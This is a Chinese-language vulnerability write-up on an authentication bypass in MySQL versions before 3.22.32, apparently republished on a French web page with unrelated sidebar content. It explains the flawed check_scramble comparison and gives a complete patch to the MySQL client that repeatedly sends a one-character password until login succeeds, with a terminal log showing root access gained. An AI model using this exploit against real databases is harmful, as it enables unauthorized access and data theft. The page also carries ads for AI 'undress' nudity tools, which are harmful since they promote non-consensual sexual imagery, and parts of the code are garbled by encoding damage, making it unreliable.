◆ Mysql低版本存在的远程访问漏洞
mysql|访问
◆ Mysql远程访问漏洞
一. 概述
MySQL是一个常用的小型数据库系统,国内有很多站点正在使用它作为web数据库。
在MySQL的口令验证机制里存在安全漏洞。它允许任何用户从有目标机器数据库访问权限
的机器上与该数据库进行连接。攻击者不必知道帐号的口令,而只需知道一个可用的帐号
名即可。
所有低于Mysql 3.22.32的版本可能都是有问题的。
二. 细节
MySQL的口令认证的机制是这样的:当一个客户端发送一个连接请求的时候,服务端会首
先产生一个随机字符串(A),将这个字符串发送给客户端,客户端会用这个字符串和用户
输入的口令所产生的Hash值(B)生成一个新的字符串(C)。 并将这个新的字符串返回给服
务端。服务端将原先的随机字符串(A)与数据库中保存的口令Hash值(B')再生成一个字符
串(C'),比较这两个字符串(C和C')的内容是否一致,如果一致就允许登录,否则就不允许
登录。
然而,当比较C和C'这两个字符串内容的时候,由于没有考虑比较字符串的长度,导致了
问题的产生。从sql/password.c中可以看到有问题的代码部分:
my_bool check_scramble(const char *scrambled, const char *message,
ulong *hash_pass, my_bool old_ver)
{
......
while (*scrambled)
{
if (*scrambled++ != (char) (*to++ ^ extra))
return 1; ?* Wrong password */
}
return 0;
}
......
这里的scrambled就是客户端提供的字符串C,(*to++ ^ extra))就是服务端生成的字符串
C'(中的一个字符).我们可以看到,比较的次数决定于客户端提供的字符串C的长度。问
题就出在这里了,本来服务端应当首先判断这两个字符串长度是否相等的,但是它没有,
所以如果客户端提供的字符串只有一个字符,那么check_scramble()将只比较C和C'的第
一个字节。
C'的内容是随机产生的,所以第一次登录和第二次登录时,C'的第一个字符通常是不同的。
例如:
@SQOGRFA 第一次
VV]KPIU_ 第二次
M[PPRYX^ 第三次
但是,根据分析,C'的每一个字符只可能有32种可能性,即:
ABCDEFGHIGKLMNOPQRSTUVWXYZ\_][]@^
那么理论上说,如果我们每次连接都发送同一个字符(比如'A')作为口令,那么32次连接
中会有一次成功。当然,这只是从概率上统计,实际上尝试的次数会从1次到100多次不等。
三. 测试程序
根据上面的分析,我们只要每次发送一个字符给服务端,如果返回错误信息,我们再次发
送这个字符,直到成功为止。为了简单起见,我们可以修改mysql的client程序.
在client/libmysql.c中, mysql_real_connect()函数是用来与服务端建立连接的。
......
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));
/* 这里的scramble()函数将产生校验用的口令字符串C,然后将C复制到strend(buff+5)+1
处,既然我们只是要发送一个字符过去,我们可以注释掉这两行,直接将一个字?br> 复制过去即?br> ?/
?br> ?br> end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
} ?br> ?br> 修改后变成: ?br> ?.....
MYSQL * STDCALL
mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
......
DBUG_PRINT("info",("user: %s",buff+5));
?br> /*
end=scramble(strend(buff+5)+1, scramble_buff, passwd,
?my_bool) (mysql->protocol_version == 9));
?/
end = strend(buff+5) +1 ;
*end = 'A';
end ++;
*end = '\0'; ?br>
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
......
}
然后我们将这个mysql_real_connect()改名成mysql_real_connect_orig(),构造一个新的
mysql_real_connect(),它将循环调用原来的mysql_real_connect_orig(),当不断尝试发送
字符'A'进行连接,直到通过口令验证为止。
注意:下面提供的程序仅供在本机测试使用,请不要用于非法目的,后果自负!
libmysql.c.diff
8--- mysql-3.22.27/client/libmysql.c Wed Oct 6 00:37:25 1999
+++ mysql-3.22.27_new/client/libmysql.c Tue Feb 13 14:12:37 2000
@@ -46,6 +46,8 @@
uint mysql_port=0;
my_string mysql_unix_port=0;
+uint trynum=0;
+
#define CLIENT_CAPABILITIES (CLIENT_LONG_PASSWORD | CLIENT_LONG_FLAG | CLIENT_LOCAL_FILES)
#if defined(MSDOS) || defined(__WIN32__)
@@ -985,13 +987,13 @@
}
-/*
+/*
** Note that the mysql argument must be initialized with mysql_init()
** before calling mysql_real_connect !
*/
MYSQL * STDCALL
-mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+mysql_real_connect_orig(MYSQL *mysql,const char *host, const char *user,
const char *passwd, const char *db,
uint port, const char *unix_socket,uint client_flag)
{
@@ -1276,8 +1278,15 @@
else
read_user_name((char*) buff+5);
DBUG_PRINT("info",("user: %s",buff+5));
- end=scramble(strend(buff+5)+1, scramble_buff, passwd,
- ?my_bool) (mysql->protocol_version == 9));
+/* We skip the step that create valid passwd .:) ?- warning3 */
+ //end=scramble(strend(buff+5)+1, scramble_buff, passwd,
+ // ?my_bool) (mysql->protocol_version == 9));
+ trynum++;
+ printf("Trying %d times\n",trynum);
+ end = strend(buff+5) +1 ;
+ ?end = 'A'; /* We just send one character as password */
+ end ++;
+ ?end = '\0';
if (db && (mysql->server_capabilities & CLIENT_CONNECT_WITH_DB))
{
end=strmov(end+1,db);
@@ -1286,7 +1295,7 @@
}
if (my_net_write(net,buff,(uint) (end-buff)) || net_flush(net) ||
net_safe_read(mysql) == packet_error)
- goto error;
+ return NULL; /* If login failed,we return NULL */
if (client_flag & CLIENT_COMPRESS) /* We will use compression */
net->compress=1;
if (db && mysql_select_db(mysql,db))
@@ -1317,6 +1326,23 @@
DBUG_RETURN(0);
}
+/*
+** We make one fake mysql_real_connect() function,it will "brute force"
+** to guess the right password until succeed ! ?- warning3
+*/
+
+MYSQL * STDCALL
+mysql_real_connect(MYSQL *mysql,const char *host, const char *user,
+ const char *passwd, const char *db,
+ uint port, const char *unix_socket,uint client_flag)
+{
+ MYSQL *res;
+
+ while (!(res=mysql_real_connect_orig(mysql,host,user,passwd,db,port,unix_socket,client_flag)));
+ printf("\nooOH,We come in! ;-)\n\n");
+ return res;
+
+}
static my_bool mysql_reconnect(MYSQL *mysql)
{
>8----->8----->8----->8---- cut here --->8----->8----->8----->8----->8----
[warning3@warninng3 warning3]$ ls -ld libmysql.c.diff mysql-3.22.27
-rw-rw-r-- ? warning3 warning3 ?409 Feb 13 14:24 libmysql.c.diff
drwxrwxr-x 21 warning3 warning3 ?096 Oct 6 06:36 mysql-3.22.27/
[warning3@warninng3 warning3]$ patch -p0 patching file `mysql-3.22.27/client/libmysql.c'
[warning3@warninng3 warning3]$ cd mysql-3.22.27
[warning3@warninng3 mysql-3.22.27]$ ./configure;make;cd client;
[warning3@warninng3 client]$ ./mysql -uroot -pblahblah
Trying 1 times
Trying 2 times
Trying 3 times
Trying 4 times
Trying 5 times
Trying 6 times
ooOH,We come in! ;-)
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 539 to server version: 3.22.27
Type 'help' for help.
mysql>
四. 解决办法
1. 升级到最新版:
2. 对于外部连接做Ip限制 ?br>
感谢:
Robert van der Meulen 他发现了这个漏洞。:)
tb 他帮助我完成这个exploit

Outils d'IA chauds

Undresser.AI Undress
Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover
Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool
Images de déshabillage gratuites

Clothoff.io
Dissolvant de vêtements AI

AI Hentai Generator
Générez AI Hentai gratuitement.

Article chaud

Outils chauds

Bloc-notes++7.3.1
Éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise
Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1
Puissant environnement de développement intégré PHP

Dreamweaver CS6
Outils de développement Web visuel

SublimeText3 version Mac
Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Compétences en matière de traitement de la structure des Big Data : Chunking : décomposez l'ensemble de données et traitez-le en morceaux pour réduire la consommation de mémoire. Générateur : générez des éléments de données un par un sans charger l'intégralité de l'ensemble de données, adapté à des ensembles de données illimités. Streaming : lisez des fichiers ou interrogez les résultats ligne par ligne, adapté aux fichiers volumineux ou aux données distantes. Stockage externe : pour les ensembles de données très volumineux, stockez les données dans une base de données ou NoSQL.

Les performances des requêtes MySQL peuvent être optimisées en créant des index qui réduisent le temps de recherche d'une complexité linéaire à une complexité logarithmique. Utilisez PreparedStatements pour empêcher l’injection SQL et améliorer les performances des requêtes. Limitez les résultats des requêtes et réduisez la quantité de données traitées par le serveur. Optimisez les requêtes de jointure, notamment en utilisant des types de jointure appropriés, en créant des index et en envisageant l'utilisation de sous-requêtes. Analyser les requêtes pour identifier les goulots d'étranglement ; utiliser la mise en cache pour réduire la charge de la base de données ; optimiser le code PHP afin de minimiser les frais généraux.

La sauvegarde et la restauration d'une base de données MySQL en PHP peuvent être réalisées en suivant ces étapes : Sauvegarder la base de données : Utilisez la commande mysqldump pour vider la base de données dans un fichier SQL. Restaurer la base de données : utilisez la commande mysql pour restaurer la base de données à partir de fichiers SQL.

Comment insérer des données dans une table MySQL ? Connectez-vous à la base de données : utilisez mysqli pour établir une connexion à la base de données. Préparez la requête SQL : Écrivez une instruction INSERT pour spécifier les colonnes et les valeurs à insérer. Exécuter la requête : utilisez la méthode query() pour exécuter la requête d'insertion en cas de succès, un message de confirmation sera généré.

L'un des changements majeurs introduits dans MySQL 8.4 (la dernière version LTS en 2024) est que le plugin « MySQL Native Password » n'est plus activé par défaut. De plus, MySQL 9.0 supprime complètement ce plugin. Ce changement affecte PHP et d'autres applications

Pour utiliser les procédures stockées MySQL en PHP : Utilisez PDO ou l'extension MySQLi pour vous connecter à une base de données MySQL. Préparez l'instruction pour appeler la procédure stockée. Exécutez la procédure stockée. Traitez le jeu de résultats (si la procédure stockée renvoie des résultats). Fermez la connexion à la base de données.

La création d'une table MySQL à l'aide de PHP nécessite les étapes suivantes : Connectez-vous à la base de données. Créez la base de données si elle n'existe pas. Sélectionnez une base de données. Créer un tableau. Exécutez la requête. Fermez la connexion.

La base de données Oracle et MySQL sont toutes deux des bases de données basées sur le modèle relationnel, mais Oracle est supérieur en termes de compatibilité, d'évolutivité, de types de données et de sécurité ; tandis que MySQL se concentre sur la vitesse et la flexibilité et est plus adapté aux ensembles de données de petite et moyenne taille. ① Oracle propose une large gamme de types de données, ② fournit des fonctionnalités de sécurité avancées, ③ convient aux applications de niveau entreprise ; ① MySQL prend en charge les types de données NoSQL, ② a moins de mesures de sécurité et ③ convient aux applications de petite et moyenne taille.
